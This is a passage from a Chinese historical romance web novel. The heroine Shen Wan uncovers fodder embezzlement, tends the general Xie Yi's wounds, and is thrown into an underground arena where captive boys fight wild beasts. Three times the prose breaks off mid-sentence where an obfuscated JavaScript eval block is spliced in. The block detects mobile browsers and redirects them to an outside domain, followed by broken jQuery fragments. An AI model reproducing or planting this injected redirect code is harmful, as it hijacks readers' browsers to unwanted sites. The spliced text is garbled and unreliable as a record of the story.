“这才哪到哪,他们那些人图的就是个刺激。”小官摇头咂舌,“往年那些斗奴选的都是些身强体壮的青年汉子,为了求生,时常有那么几场胜出,可时间久了,那些赌客觉得腻了,便要求寻些尚未长成的少年来增加刺激……” 小官还在喋喋不休,可沈绾已经听不进去,她感到心中有股东西在不断翻腾,愈演愈烈。 “轰隆——”一道炸雷从遥远天际翻滚而来,截断二人谈话。 顷刻间,滂沱大雨即至,哗啦啦冲刷着天幕。 “不好了——”一名饲马小官隔着雨帘边跑边喊:“刚才那声响雷,让几匹马受了惊,现下跑了两匹!” 身侧小官闻言大惊,哭丧脸道:“这可出大事了,得赶紧找,若是丢了马,那可是大罪!” 沈绾嚯地起身,从马厩扯来蓑衣,“这些马应该跑不远,你沿着草场去寻,我去西边仓库看看。” 23. 第二十三章 欢情薄 沈绾提议去仓库,除了找马,其实还有另一层目的。 她来御马司这些日子,时常发现这里的草料好坏不一。 比如她负责训练御前表演的马,吃的皆是上等草料,可她有几次路过别处马厩,那里圈养着一些普通马匹,吃的就是掺着沙土的草料,甚至有几次,还出现了霉变。 即便马儿用处不同,可草料供应却相差极大,不得不令人起疑。 雨珠噼啪砸在身上,却并未影响灵巧的步伐,自从经过几次重病,她的身子已比之前强了许多。 草料库共有大大小小几十间,皆上着门锁,沈绾四下探查,正思索该如何潜入,忽听身后一处库房传来窸窣响动,似是人声低语,又好似小兽呜鸣。 循声走去,这间库房外竟虚虚挂着锁,两扇陈旧的木门就这么掩着,从昏暗室内透出一丝不同寻常的响动。 借着雨声掩盖,沈绾壮着胆子推开门缝,一堆堆整齐摆放的草料赫然落入眼底。 为防潮湿,库房设了上下两层,由一节楼梯贯通,底下这层放着的草料成色较差,显然积年已久,上面那层品质则极好。 沈绾寻着声响刚走到楼梯下,一男一女的对话自上层传来。 “心肝,半月没见,可想死我了。” “还说呢,干嘛约在这种鬼地方?” “衙署人多眼杂,你家又不方便,倒不如这地方好,僻静又有新鲜感,方才你还不够爽?” “死样……”女子娇嗔,“怎么不去你家?你那老娘是不是还惦记着那位?” “嗐,都说了我跟那位表妹只是小时候定的娃娃亲,不作数的,何况她人在掖幽庭,多早晚出来都不知道,又生的那副模样,给你提鞋都不配。” 女子打趣:“我可听说她每月给你寄了不少银子,这份心意还不念着?” “那都是她一厢情愿的事,不要白不要……”男人声音已愈发喑哑。 “要我说,你们男人都一样,没个心肝。”女子嗤笑,“你能攀上魏公公还不是靠她给的银子……” “这话倒也不假,这世道,就是有钱能使鬼推磨。”男子越发兴奋,气息也愈发粗重,“我那义父也是钱窟窿里钻营的主,否则底下人也不敢用廉价草料以次充好,从里中饱私囊,克扣银钱,还不都是为了孝敬他老人家……只可惜他是个没根的主儿,再有能耐享受不了……” 二人喘息声愈发激烈,沈绾听得一阵脸红,可心里却瞬间明晰,刚想离开,脚下冷不丁踩到一堆稻壳。 “什么人!”楼上野鸳鸯被惊动,男人半裸着身探出头。 打眼望去,楼梯下乃至整个库房静悄一片,不见人影。 “哪有人……”女人媚眼半含,攀附上来。 男人目光逡巡一圈,终于落在西南角一窜而过的猫影,不由笑骂一句:“这些贱骨头,整日只知道吃酒耍滑,竟让这东西溜进来。” “管它是什么,”女人面晕潮红,“现在只求大人疼疼奴家……” 二人恣意交缠,激烈的欢情声响在耳畔,沈绾只觉浑身好似烧了把火,烫得吓人,而那熊熊火苗的一半却来自贴在身后的男人。 他目光深沉,微低着头,一手揽在她腰间,一手捂住她几欲出声的嘴。 她属实没想到谢翊会在这,方才他及时出现,她着实被吓了一跳。 正欲用眼神询问,可上方传来的娇吟声实在太过羞耻,瞬间浇灭她望向他的勇气。 “脸红什么?”他凑在她耳边,低声耳语。 沈绾张了张口,没有出声。 谢翊轻笑,蜻蜓点水般吻了吻她的耳唇,一字一句似是裹了蜜糖:“你的声音比她好听……” “……” 登徒子!狗男人!沈绾心中忿忿。 本以为这次回来转了性,没想到还是劣根难除! 楼上情事火热,沈绾实在忍不住,趁着一阵闷雷落下小跑出去。 外面雨势未停,沈绾刚跑出来才发现自己的蓑衣不慎落在里间,可她实在不愿回去拿,那些令人面红耳赤的声音,她可不想再听第二回。 刚闷头想冲进雨幕,手臂蓦然被人一拉,后退几步,落入一柄竹骨油伞下。 “跑什么?”男人声音含着几分玩味。 沈绾心中羞恼,手肘没好气向后一击,“要你管!” 不知这一肘击中哪里,男人皱了皱眉,下意识闷哼出声。 沈绾见他面色不豫,心中疑惑,难不成他身上有伤? “你……”刚欲开口,谢翊转而敛去神色,将伞柄往她手中一塞,蹲身将她背了起来。 沈绾猝不及防,却也知挣脱不掉,只好一手搭在他肩上,一手撑伞。 雨珠在脚下溅起晶莹水花,浮起一阵氤氲白气。 沈绾伏在他背上,纠结半晌后终于开口:“你怎么在这?” 早上出门时他还未醒,知他宿醉,她还特意提醒春桃给他备些清淡食物。 男人面色无波:“我今早看了天色,料想会有大雨,来给你送雨具。” “哦。”沈绾低低应着,想了想又补充句,“多谢。” 她诚心道谢,可听着也客气疏离,谢翊眉头微动,终是没说什么。 沈绾盯着他沉寂的侧颜,探了探头:“你怎么不问问我为什么会来草料库?” “你想让我问吗?” “什么?”雨声喧哗,沈绾有些没听清。 谢翊勾了勾唇,“没什么,你想说便说,不想说我就不问。” 沈绾握着伞柄的手紧了紧,眼看快到马房,她这才意识到什么,忙拍拍他的肩,“快放我下来!” “怎么?” 沈绾急着解释:“让人看见不好。” “怎么?怕我给你丢人?”谢翊挑眉。 “哎呀,不是……”沈绾挣扎得厉害,谢翊扭她不过,只好将人放下。 沈绾脚刚一站地,迅速与他拉开距离,“我近来是非已经够多了,在这里可不想再惹眼。” 说着,将伞柄重又还到他手中,走了几步,不放心回头看了眼,“雨具我收下了,晚些会自己回去。” 沈绾摆着手,丝毫没有留客的意思。 她这是……赶他走? 谢翊的脸色沉了沉,撑着伞立在雨中不语。 不远处小马官的声音由远及近,“老天保佑,这些马祖宗可算找着了。” 不经一打眼,恍惚瞧见马房边闪过一抹人影,再仔细一瞧,那影子竟瞬间消融进雨雾中,不见一丝踪迹。 “真是见鬼。” ** 及至晚间,雨势终停,残留的雨珠顺着屋檐滴答落下,在积着水洼的砖地上溅起丝丝涟漪。 沈绾收起雨具,迈进了将军府门。 她心中一路忐忑,依着谢翊的性子,白日这般对他,他不知恼成什么样。 “姑娘回来了。”春桃像往日一样上前迎接,可面色却不大好。 “将军呢?” “在、在书房。” 见春桃面色怪异,沈绾刚想开口,一抹朱色裙摆映入眼帘。 乌兰朵面若春花,眉眼盈盈,正巧从院内走出来,“沈姑娘,好久不见。” 沈绾见她一身女儿装扮,甚是明艳娇俏,心头微微一动,恭声行礼:“公主得胜归来,还未来及恭贺。” “不过是跟在烈将军身边积攒经验罢了,说起来,上回这场仗的确不好打,你们胤人可真是……” 她顿了顿,意味深长翕动嘴唇:“不容小觑。” 沈绾不解她话中含义,乌兰朵也没与她多说,转头望了眼身后书房,随后朝她摆了摆手,大摇大摆迈出门,“别多心,我只是来送药,里面那位可一直等着你呢。” 沈绾紧了紧手中包裹,直到倩影消失进夜色中,她还迟迟没有移动步子。 “姑娘怎么不进去?”春桃示意身侧小厮掩上大门,“将军说姑娘回来得晚,一定没吃东西,让奴婢给姑娘备下点。” 沈绾这才注意到春桃手中的食盘,上面摆着一碗清粥和几样小菜,样式虽不多,可看着很是精致,一眼便知是用心准备过的。 心头一暖,终是叩响房门。 良久,屋内无人应答。 沈绾深呼口气,边推门边硬着头皮道:“将军,我进来了?” 书房寂静,桌案藤椅边皆不见人影,沈绾环屋四视,见里间屏风后似有人影晃动。 许是那屏风太过轻薄,映出的影子也明晰可见,沈绾鬼使神差走上前,缓步绕过屏风,正瞧见谢翊衣衫半退,俊眼低垂,手持药瓶正在上药。 男人的身体看上去清健有力,骨肌分布均匀,经脉线条利落又清晰,当真是极具视觉冲击力。 只是此刻,上面明显布着几处伤口,由肩胛骨延伸至后腰,看上去触目惊心。 原来,他真的受伤了。 看来南征这场战役打得并不容易。 后背的伤口难以触及,谢翊勾着手臂,显然有些使不上劲。 “我来。”沈绾忙将手中东西放下,从后接过药膏,“将军要上药,怎么不唤人进来伺候?” 谢翊用余光扫了眼身后人,由着她忙活。 伤口虽已愈合大半,可沈绾还是小心着手上力道,生怕弄疼了他。 室内静谧,只余彼此的呼吸声。 “将军……还生气呢?”沈绾试探开口。 谢翊垂着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657955|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,声音低沉:“不是怕人看见?” “……” 这男人,还真是小心眼。 “将军待我好,我心里明白。”沈绾柔声解释,“可如今流言纷扰,我不想成为众矢之的。御马司认识我的人不多,难得落个清静,将军若是将这份好时刻昭于人前,岂不是……” “我知道。”沈绾话未说完,谢翊淡淡开口,“下次注意。” 男人居然罕见道歉,听得沈绾一愣,意外之余感到心头一暖。 她发现这次回来,谢翊变得莫名好说话。 漂亮的眼角不由弯起,她抬手抚了抚谢翊额头,甜甜一笑:“谢谢将军。” 少女的笑容明媚温柔,直映在谢翊眼底,黑眸倏尔一沉,刚要欺身将她抱住,孰料沈绾先行一步,抵住了他的胸膛。 “药还没上完。”她水眸弯弯,用眼神示意要继续给他上药。 谢翊退回身,不再乱动。 剩下的伤口在腰腹处,沈绾只好屈膝蹲下,一点点涂抹药膏。 似有若无的鼻息如羽毛般打在下腹,激起一阵颤栗。 沈绾神色认真,全然没有意识到上方男人愈发幽深的眸色。 “哎呀。”沈绾倏尔低呼,她方才一不小心涂抹太多,眼下只好用指腹一点点揩去多余的药膏。 玉指轻触皮肉,于隐秘处擦出阵阵电流。 “唔……”头顶传来一阵闷哼。 沈绾以为自己弄痛了他,连忙低头吹了吹,轻拂的气息酥酥麻麻,带着勾人的香气引人沉沦。 “抱歉,我……” 话未说完,身子被人向上一提,男人手臂如铁钳牢牢将她困住,惊措间,薄唇欺上,果断夺去她所有呼吸。 她被抱坐在腿上,整个人似水般瘫软在男人怀里。 唇齿纠缠间,谢翊愈吻愈用力,沈绾生怕他扯到伤口,挣扎出声:“你还有伤……” “这点小伤,早就没事了……”谢翊嗓子哑得厉害,眸底的欲色几乎快将她吞没。 沈绾被吻得七荤八素,连衣襟什么时候被撩开都未曾察觉。 大手沿着脖颈径直向下,穿过层层遮拦,一路探索。 “不、不行……”迷离的水眸闪过一阵清明,转瞬按住男人作乱的手。 谢翊舔了舔她的唇,粗喘轻笑:“我记得某人之前说过,自己不懂得侍奉人,眼下我好心教你,怎么,不愿学了?” 狗男人,满嘴浪荡话! 沈绾杏眼圆瞪,面若云霞,那抹绯红从脸颊蔓延至颈侧,“我、我只是饿了……” 话音刚落,肚子正合时宜叫了起来。 谢翊唇边晕开笑意,“我不是让春桃给你备了吃的?” “是啊,可我没来及吃,原想着同将军一起。”沈绾指着桌边包裹,“喏,酱肘子,蒸牛蹄,我特意从一品香买的,记着你以前爱吃。” 谢翊侧眸望去,桌案边一品香的包裹同往昔一般无二。 他还记得,以前沈绾不能经常出宫,却一直惦记着民间一品香的肉食,他就常常溜出宫帮她买,回来后没少受责罚。 每回她吃的时候,都爱招呼他一起,久而久之,也就习惯了。 其实哪里是他爱吃,他不过是爱屋及乌罢了。 “正好我也没吃饭,咱们一起。”谢翊长臂一伸打开包裹,却没有将沈绾松开的意思。 “你这样抱着我,怎么吃啊?”沈绾不满小声嘀咕。 谢翊眉眼含笑,轻佻又暧昧:“我喂你。” 说着,他一手揽在她腰间,一手用筷子夹起肉片递到她唇边,“张嘴。” 男人的声音低沉有力,不容抗拒,沈绾默默张开嘴,将肉块吞了下去。 谢翊似乎很满意这种吃法,又连着喂了她好几片。 被人这样喂着,沈绾有些不好意思,顺势将筷子望他嘴边一推,“将军也吃。” 谢翊没有拒绝,将肉片吞入口中,汁香四溢。 “好吃吗?”沈绾眨了眨眼,清凌凌的眼睛里满是渴望夸奖的神色。 “嗯。” “既然将军喜欢,那我可不可以有一个小请求?”沈绾扯着男人衣角,娇声娇气道。 适时撒娇,也是拿捏男人的一种手段,省力且有效。 “什么?”谢翊望向怀中人。 “明日休沐,我想去城外万佛寺敬香,顺道去街市逛逛,晚上可不可以迟些回来?” “……” 男人面色沉冷,沈绾生怕他不同意,忙道:“我把春桃带着,一定在亥时前回来!” 少女的眸子狡黠又灵动,谢翊微眯着眼,一时拿不准她藏着什么心思,默了半刻,终于大发慈悲点头:“好。” 24. 第二十四章 轻草芥 沈绾在京都住了十几年,却是第一次逛这僻静的西盘街。 按照御马司小官的说法,这家斗兽场位置隐秘,来往又都是达官显贵,一定不会处在闹市区。她经过多番打听,才知道有西盘街这么个地方。 这条街由于远离皇城中心,少有铺子,偶有几家都门庭冷清,因此挨个找起来倒也不费事。 沈绾一身男装,携着春桃在街道走着。 “姑、公子,”春桃一身小厮装扮,满头雾水跟在身后,“咱们不是逛夜市吗?眼看天快黑了,怎么跑这来了?” 沈绾:“来这寻个有意思的地方。” 眼看天色渐暗,有几家铺子早早挂起了灯笼,被寒意未消的冷风一吹,摇摇晃晃散发出冷白光晕。 沈绾边走边瞧,直到走到街角尽头,才发现一处与别家截然不同的铺子。 这家铺子门面不大,也未挂招牌,唯有门口两盏大红灯笼在夜色中极为显眼。 乍一看,怎么也不像传闻中人声鼎沸的赌场。 沈绾缓步走上前,只见两名伙计站在门口,两眼冒着精光打量着来往路人。 见沈绾往里走,两名伙计抬臂一拦,其中一位睁着两颗绿豆眼虚虚打量,“客官第一次来我们这?” “怎么?” 另一位赔着笑脸,“客官见谅,我们这地方不比别处,需要付二两彩头钱才能进去。” “什么地方还没进呢就要银子?”春桃撅嘴嘀咕。 沈绾侧头示意,春桃方才从怀里掏出银子递过去,伙计收了钱,展眉招呼:“得嘞,您二位里面请!” 撩开挡帘,里面场地极为宽阔,依次摆着大大小小的赌桌,里侧依次有不少包间,庄家高声一吆喝,赌客们纷纷下注。 沈绾穿过人群,才发现这里的玩法各不相同,斗鸡、蛐蛐、骰子、马吊,应有尽有,简直令人眼花缭乱。 “公子,您说的地方就是这啊?”春桃也是第一次见识到这种地方,不由目瞪口呆,“哎,您快瞧,那还有两只公鸡打架呢!” 沈绾望去,一群人正围着两只斗鸡喊得热火朝天。其中一只鸡通体如墨,色泽纯正,颈长如鹤,眼部呈三角状,正斗志昂扬狠啄着对手。 有力的翅膀上下扑腾、拍打,不一会羽毛纷飞,尖喙瞅准时机猛地一啄,精准无误地击中对手左眼。 “黑将军胜!”随着一声吆喝,这场战斗落下定局。 赌客们有的高呼有的哀叫,自是几家欢喜几家愁。 “三爷这只黑将军果真不同凡响,这一上场,瞬间没了对手!”一旁庄家赔笑道。 “嗐,运气罢了。”人群中一位细皮白面的男人摆摆手,眉开眼笑地将黑将军抱进怀里。 “三爷这是要走了?不再玩两盘?” “这鸡斗得再好也不过是小巧,真正好玩的在后面呢!” 男人隐晦地笑了笑,众人也不再阻拦,继续开下一场。 沈绾敛了眸色,转头对春桃说:“你且在这玩着,我去去就回。” “哎,公子……”春桃正想说自己不会赌钱,可眼前人转眼就消失进人群里,她也只好乖乖等在原地。 沈绾不动声色跟在这位三爷后面,见对方一路向前,穿过赌桌径直到一处石墙,朝门口的伙计打了声招呼,那面石墙竟应声而开。 原来里面还有密室? 沈绾心中思索,朝四周打量一番,气定神闲跟上去,刚走到石墙前,就被一名伙计拦住去路。 “生面孔?”伙计上下打量沈绾一圈,见她衣着虽简单,可通身气派自有一股清雅高贵,也不敢怠慢,“劳驾这位贵客证明下身份。” 沈绾挑眉:“你们这规矩倒不少。” “客官见谅,我们金老板下的死规矩,生客若要去里面,那通常都需要咱们这里的常客当个引荐人,您若是一个人,就得出示个能证明身份的东西。” 另一名伙计指了指身后石门,带着些颐指气使的口吻:“我们这儿,非达官显贵不接,您若是没个凭证,恕小人不能放您进去,您呐,就在外面玩玩。” 沈绾轻嗤一声,徐徐抬手,从怀中取出一枚描金骨牌,“可瞧清楚了?” 伙计定睛一瞧,眼珠子骨碌转了转,瞬间变了脸色,“原来是大将军府上的,您里边请。” 石门悄然打开,沈绾收起骨牌往里走,入目是间小室,四下并无人影,伙计跟上前解释:“贵客身份不同,小人亲自引路,请这边走。” 说着,里间又一扇石门被打开,半开的门缝里透出幽暗亮光。 沈绾心下狐疑,一只脚刚踏入,背后猛地被人一推,身后石墙随即关合。 “小美人,我们又见面了。”室内亮光顿显,一道森寒声音自身后传来,沈绾猛一回头,耶齐雷正跷着腿坐在烛台边,横肉堆积的侧脸半明半暗,挂着阴恻冷笑。 一股不详的预感顿时涌上心头。 沈绾定了定神,兀自镇定道:“王爷好兴致,这么巧也来这寻乐子?” “这话我倒要问小美人你,”耶齐雷微扬着下巴,语带讥讽,“怎么,耶齐烈居然肯放你一个人出来?之前用他的令牌逃跑还不够,现在又来这种地方?是在御马司的日子不好过,所以想来这捞点脂粉钱?” 耶齐雷的话句句带刺,沈绾原本不愿理会,可从话音里还是敏锐察觉到一丝不对。 看来耶齐雷早就知道她的出逃,当时知道内情的人不多,两月前耶齐格突然发难,偏又正巧赶着谢翊离京,很难不让人生疑。这种种蹊跷,似乎是有人暗地推动。 难道这个人,是他? “我不过得了将军授意,来这见见世面,不知王爷把我引来是何用意?”沈绾无意与他兜圈子,开门见山道。 她虽面上保持客气,可眼神依旧清傲无尘,似乎根本没将他放在眼里。 耶齐雷被她骨子里这股傲气膈到,心头愈发烦躁。 她不过一介女奴,凭什么不把他放在眼里?当初若不是谢翊横插一脚,她早就是他的! 血液里恶劣的征服欲被激起。 他要驯服她!他要她像狗一样伏在他脚下! 耶齐雷嚯地站起身,肥硕的身形一步步踏来,好似一座密不透风的肉墙,极具压迫感。 “我大哥念着君臣旧情,我可没那么多顾忌,既然牢狱之灾磨不平你,掖幽庭也困不住你,那我今日倒要看看,这地下兽场能不能锉杀你!” “来人,把她跟那些兽奴关在一起,今晚咱们也让客人们尝尝鲜!” “王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672508|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷,这、这是否有些欠妥当?”一位身着织金锦袍,身形瘦削的中年男子从阴影里走出,犹豫地搓着手,“她毕竟是大将军的人,若是……” “金老板,”耶齐雷顿时沉下脸,颇为不耐烦,“什么时候轮到你教本王做事?” 金老板忙吓得低头称是,他这赌场生意本就见不得光,之所以能从前朝延续到新朝,靠的就是攀附皇亲显贵做靠山。 自从拓摩入京,以耶齐雷为首的蛮夷贵族在京都横行霸道,不知干下多少伤天害理的事,他为求自保,自然要多多巴结。 “是,小人这就安排。” ** 沈绾被这伙人一路押着,进入一处地下通道,沿着青砖石梯一路往下,竟走到一处天然的地下广场。 广场地势低洼,犹如一个巨大的漏斗,四周地势较高,遍布石阶,皆用围栏围起,形成看台,此刻上面已经站满了兴致勃勃的赌客。 中间阔平的场地上,一名身形干瘦的少年惶然无措站在中间,不远处传来野猪的狂叫嘶鸣,还来及反应,那野畜便猛地冲撞过来。 尖锐的獠牙随着剧烈的撞击狠狠刺向少年,少年本想反击,奈何野猪的皮肉太厚,他手中的木刺根本无法将它戳伤,一个不留神,少年瞬间被挑飞,再落地时,野猪如同杀红了眼,飞身横窜过去死死咬住少年后颈。 凄惨的哀嚎声顿时响彻场地,眼看胜负已分,高座上爆出喧闹呼声,或兴奋或唾骂,并无一人在意地上奄奄一息的少年。 沈绾被眼前景象震惊,原来所谓人兽相博,竟是把人当牲畜,只为供那些赌客一乐。 她还未停足片刻,便被身后人狠狠一推,跌进一侧石洞。最后余光所及之处,只留下一滩触目惊心的血迹。 石洞阴冷,左右两侧窄小,可通径极深,入口处布着铁栅栏,沈绾借着洞口透进的亮光,才发现角落里竟蹲着大大小小几个人影,他们个个神色警惕,眼神里布满了恐惧。 沈绾从怀中掏出火折子捻燃,这才看清他们皆是些半大孩子,看上去最大不过十五六岁,最小只有十一二岁,只是手脚皆戴着绳索镣铐,导致身子无法伸直,只好蜷缩着。 原来这就是斗兽场中所谓的兽奴。 “下一个,下一个……”场中有赌客发出急不可耐的喊叫。 场中坐庄者抬手示意,立即有两名壮汉在铁栏处逡巡一圈,抬手一指,“就他了。” 铁栏再次被打开,两名壮汉手持木棍径直走向角落里的男孩。 “二柱!”旁边有人小声惊呼,话音还未落,劈头就挨了一记闷棍。 名唤二柱的少年目露惊恐,身子剧烈挣扎,可力气到底不及,还是被对方轻松拖了出去。 “你说他叫什么?”铁栏重新合上,沈绾拉起一侧被打得头昏脑胀的少年。 少年缓了缓,费力撩起眼皮:“他叫李二柱,是李家村李老汉家的孙子。” 原来是他! 沈绾蓦然回眸,只见名唤二柱的少年被拖到场地中央,手脚被卸去镣铐,手中同上一场的少年一样,被塞了把木刺。 前方一处漆黑石门里,缓缓闪出两道绿幽幽的亮光,一声低沉到骇人的嗥吼从洞里传出 ——“嗷呜!” 是头野狼! 25. 第二十五章 困兽斗 光影交叠处,走出一团雪白,这头狼除了头部和脚部呈象牙色,其余部位皆是白色。 看来是只雪狼。 沈绾紧盯着场上的一人一兽,眉头紧蹙。 这只狼应该是被饿了好几天,两只绿眼睛紧盯着面前猎物,身体微微前倾,是时刻准备攻击的架势。 “上啊!”高台上有人高喊,“杀了它!” “快杀了它!!” 丧心病狂的狂吼声此起彼伏,满场皆在关注这场血淋淋的搏杀。 少年双手颤巍巍握着木刺,面色发白紧抿着唇,脚下刚一动,野狼眼睛锁定,尾巴平举,忽地跃身一跳。 少年下意识躲闪,可野狼速度太快,利爪划过手臂,撕扯下半块皮肉。 “吁……”看台发出不满,“这有什么看头?下一个……” 一旁伙计凑到庄家身前耳语:“照这样下去,客人们都押野狼,咱们也没得赚。” 庄家沉吟片刻,“今儿不是有个新鲜货?把她弄上去。” “他?看上去弱不禁风,能撑多久?” 庄家笑得阴寒,“王爷交代了,她可不是一般人,你只管弄上去,若是她命大,可是今晚最大的看点。” “是。”伙计应声,招呼两名壮汉过去。 沈绾猝不及防被拽出石洞,洞里阴暗,刚一出来,竟被光线晃得眼前一花。 四周嘈杂,沈绾略缓片刻,忽见眼前饿狼再次猛扑向少年,少年躲闪不及,沈绾旋即上前抢过木刺,瞅准时机一把塞进野狼张开的大口。 木刺戳进口中,野狼发出一声怒嚎,脖圈顿时奓起白毛,将头猛地一甩,奋力吐出木刺。 眼看野狼再次发起攻势,沈绾后退两步,挡在少年身前,“我去引开他,你找个安全的地方躲起来。” 少年虽不识沈绾,可也知她有意帮自己,忙感激点头。 许是被木刺彻底激怒,野狼嘴唇后翻,朝着沈绾咧开一排锋利牙齿。 随着一声短促的吠叫,野狼腾空而起,四爪狠狠扑抓下来。 眼看利爪即将划破皮肉,沈绾旋身一躲,从怀里撒出一团白色粉末,正中野狼面门。 那是麻石散,自从上次对付了耶齐雷,她一直带在身上防身,不知道对付野狼是否有用? 剧烈的冲击使沈绾倒向一边,落地那刻,发带飘下,满头紧束的青丝如瀑布散落肩头腰际,衬得那张脸越发清丽。 “嚯,是个美娇娘……” “居然是个女人……” 台上顿时像炸开了锅,发出一阵接一阵的惊呼。 他们作为这的常客,还是第一次见有女人出现在斗兽场,居然还能支撑这么久,皆感到惊奇。 较弱美人对抗山中野兽,实在看点十足! “小娘子,快跑啊——”看台上有人起哄。 “三爷,您赌谁赢?”有人笑问。 白面男人轻呵一声:“这倒是个有趣的,那今晚我就赌她——”目光落向场中美人。 沈绾挣扎爬起身,只觉浑身酸疼,刚才那狠狠一摔,手臂、膝盖等关节处火辣辣的疼,显然是磕破了皮。 沈绾实在没了力气,见野狼在原地徘徊几圈,作势又扑腾过来,她后退几步,背抵上场中石墙。 她记得父皇曾经说过,面对野兽,逃跑是最愚蠢的选择,自己如今已是避无可避,必须速战速决。 她急促喘息着,忽从袖口摸到匕首——这东西她一直随身携带。 她迅速抽出,见野狼龇牙低吼,绕着自己来回踱步,似是在寻找破绽。 眼看野狼再次跃起,一道浑厚悠远的声音自空中传来,“瞅准时机,攻击腹部。” 许是麻石散起了作用,野狼的攻击速度和力量显然迟钝不少。沈绾无暇思考,身体一蹲,果断将匕首向上刺去。 她清楚感觉到刀头陷入腹部皮肉,温热液体四溅,落到手背、脸颊。刺鼻的血腥气中,野狼发出一声痛苦呜咽,踉跄落地。 看台上顿时鸦雀无声,众人皆被眼前景象震撼。谁都没有想到一个看起来弱不经风的女子竟会击败野狼。 场中静默片刻,下一瞬便爆出接二连三的喝彩声。 耶齐雷坐匿在暗处,眯起一双牛眼,目露凶光,“想不到她倒是有些本事,既然这么能干,就让场面再激烈些。” 他侧目示意,金老板立即会意点头。 斗场中,沈绾刚想喘口气,忽听一道啸声自黑暗传来。 脊背顿时染上寒意,猛然抬头,一只吊睛白额大虫缓缓自石洞走出。 心脏极速跳动,几乎快要窜出胸口,沈绾感到两侧额角开始隐隐作痛。 看客中有人高呼:“美人斗猛虎,精彩啊!” 沈绾握紧手心匕首,暗暗退步,想要与大虫拉开距离,她能侥幸制服一头野狼已经算是命大,可没有把握再去对抗一头猛兽。 大虫蹭了蹭爪子,骤然张开血盆大口,猛扑过来。 沈绾已是精疲力尽,眼下只好用匕首挡在胸前,猛兽身上的腥臭味扑鼻而来,她绝望闭上眼—— 电光火石间,想像中的刺痛并未传来,耳边反倒是一阵刀剑穿风的闷响。 睁开眼那刻,熟悉的背影牢牢将她护在身后,男人手持利剑,衣袍翻飞,旋身一个飞踢,踹向大虫头部。 是他!沈绾心头涌上一阵热潮,但很快就被眼前惊恐掩去。 谢翊常年习武,这一脚下去力道十足,大虫被踢得踉跄几步,可它到底是山中猛兽,很快就调整好状态,准备再次发起进攻。 谢翊眼看情势不妙,没等大虫再次反击,旋即腾空而起,使了几个连环踢,最后一脚踢得虎颚上翻,他迅速提剑刺去,剑风如有雷霆之势,直接戳入猛兽咽喉。 “嗷呜——”伴随一声凄嚎,大虫轰然倒地。 赌客中有人识出谢翊,惊呼:“这不是大、大将军!” “大将军居然也会来这?这回可有热闹看了。” “都说大将军府上养了位美娇娘,莫不是场上这位?” 在场或是拓摩贵族子弟,或是朝中达官显贵,最不济也是像三爷这种有靠山的小官,他们虽不会把平民百姓的性命放在眼里,可对于谢翊这号人物,多少有几分忌惮。 还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692768|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等台上人反应过来,斗场的兽穴中竟又放出五只吊睛猛虎,个个体健壮硕,分别从四周包围而来。 这等野兽,一两只尚可有胜算,一连放出五只,饶是谢翊这种人物也怕是艰难。 众人倒抽了口凉气,皆屏息凝神注视着场中景象。 “王、王爷,场上那位可是当朝将军,若是出了岔子……”金老板说到底是个商人,一心只想挣银子,可耶齐雷今晚不知抽什么风,竟下这般狠手,若是闹出人命……他可吃不了兜着走! 耶齐雷见他双手直搓,脸上青白一片,不由蔑笑:“就这点胆量,还怎么做生意?” “进了咱们这种地方,生死有命,管他什么身份,既然敢入场,就要遵循咱们这的规矩。”耶齐雷阴森笑道,“放心,来这里的人手上都不干净,没人敢走漏风声,今晚无论出什么事,有我一并担着。” 他堂堂天子之弟,难道还奈何不了一个毫无血缘的外姓臣子? 既然谢翊甘愿为美人一搏,那他就成全他! 场中五只大虫已成包抄之势,就连少年二柱也被猛兽逼到一角,颤声朝沈绾求救。 沈绾见情况不妙,忙对谢翊道:“将军,可法子破局?” 谢翊轻笑:“你觉得呢?” 沈绾没想到这个时候他还能笑得出来,肃然道:“你若是有把握,我们就搏上一搏,若是没把握……” 她顿了顿,决然道,“那位巴泰王这回是打定主意要取我们的性命,这种地方生死有命,你待会找个机会先跑,若能出去找到巡防营,将这里一锅端了……” “想不到我家阿鸾还有这般胆色……”谢翊将人护在身后,眉梢轻快一挑,“若是能和你死在一处,倒也是死得其所。” 沈绾秀眉紧蹙,心里直翻白眼,谁要和你死在一起?! “听我说,我们不是没有机会。”谢翊像是听到她的心声,敛了嬉笑,正色开口,“注意到没有,这里的地面发生了变化。” 沈绾闻言低下头,这才发现地面上的沙土不知何时退去,显出一块块清晰整齐的青砖。 